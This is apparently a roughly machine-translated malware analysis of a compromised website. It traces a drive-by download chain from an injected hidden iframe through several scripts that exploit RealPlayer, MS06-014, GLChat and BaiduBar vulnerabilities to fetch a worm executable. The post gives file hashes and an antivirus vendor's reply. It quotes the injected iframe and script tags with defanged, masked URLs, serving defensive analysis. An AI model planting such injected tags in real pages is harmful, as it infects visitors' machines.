A website that publishes worm. win32.otwycal. c/worm. win32.infei. A v2

A website that publishes worm. win32.otwycal. c/worm. win32.infei.

Original endurer
Supplement the reply from rising in version 2nd
Version 1st

This website homepage containsCode:
/---
Document. Write ("<IFRAME src = hxxp: // A **. 1 ** 58d ** m.com/b2.htm width = 0 Height = 0> </iframe> ")
---/

#1 hxxp: // A **. 1 ** 58d ** m.com/b2.htm (Kaspersky has detected: TrojanProgramTrojan-Clicker.HTML.IFrame.mv) contains code:
/---
<Script language = JavaScript src = hxxp: // B **. 1 ** 58d ** m.com/one/ OK .js> </SCRIPT>
<IFRAME src = hxxp: // B **. 1 ** 58d ** m.com/one/ OK .htm width = 1 Height = 1 border = 1> </iframe>
---/

#1.1 hxxp: // B **. 1 ** 58d ** m.com/one/ OK .js

Download hxxp: // C **. 1 ** 58d ** m.com/ OK .exe using the RealPlayer rmoc3260.dll (CLSID: 2f542a2e-edc9-4bf7-8cb1-87c9919f7f93) Vulnerability

File Description: D:/test/OK .exe
Attribute: ---
An error occurred while obtaining the file version information!
Created at: 12:50:34
Modification time: 12:50:34
Access time: 12:51:15
Size: 14680 bytes, 14.344 KB
MD5: 2f2dac719cf3ead013c54cccc877f41b
Sha1: f46280f1b37d1d1203333129a7f8a6fe89b7a951
CRC32: 1edd2726

Kapsersky reported as worm. win32.otwycal. C (http://www.viruslist.com/en/find? Words = worm. win32.otwycal. c)

Virus report email analysis result-flow Ticket No.: 200804071256056586062008.04.07

Dear customer!
Your email has been received. Thank you for your support for rising.

We have analyzed your problems and files in detail. The following are the analysis results of the files you uploaded:
1. File Name: OK .exe
Virus name: worm. win32.infei.

The virus file you reported will be processed and resolved in Rising Star 2008's versions 39.10 (Rising Star 2007's 19.70.10.

#1.2 hxxp: // B **. 1 ** 58d ** m.com/one/ OK .htm
Check the OK value of the cookie variable and output the Code:
/---
<SCRIPT src = hxxp: // B **. 1 ** 58d ** m.com/one/14.js> </SCRIPT>
<SCRIPT src = hxxp: // B **. 1 ** 58d ** m.com/one/rl.js> </SCRIPT>
<SCRIPT src = hxxp: // B **. 1 ** 58d ** m.com/one/lz.js> </SCRIPT>
---/

#1.2.1 hxxp: // B **. 1 ** 58d ** m.com/one/14.js

Download hxxp: // C ***. 1 *** 58d *** m.com/ OK .exe with MS06-014 Vulnerability

#1.2.2 hxxp: // B **. 1 ** 58d ** m.com/one/lz.js

Download hxxp: // C **. 1 ** 58d ** m.com/ OK .exe with the vulnerability of glchat. glchatctrl.1.

#1.2.3 hxxp: // B **. 1 ** 58d ** m.com/one/rl.js

Use the RealPlayer (ierpctl. ierpctl.1) vulnerability to download hxxp: // C **. 1 ** 58d ** m.com/ OK .exe

#1.2.4 use baidubar. tool to download hxxp: // C **. 1 ** 58d ** m.com/baidu.cab, containing new.exe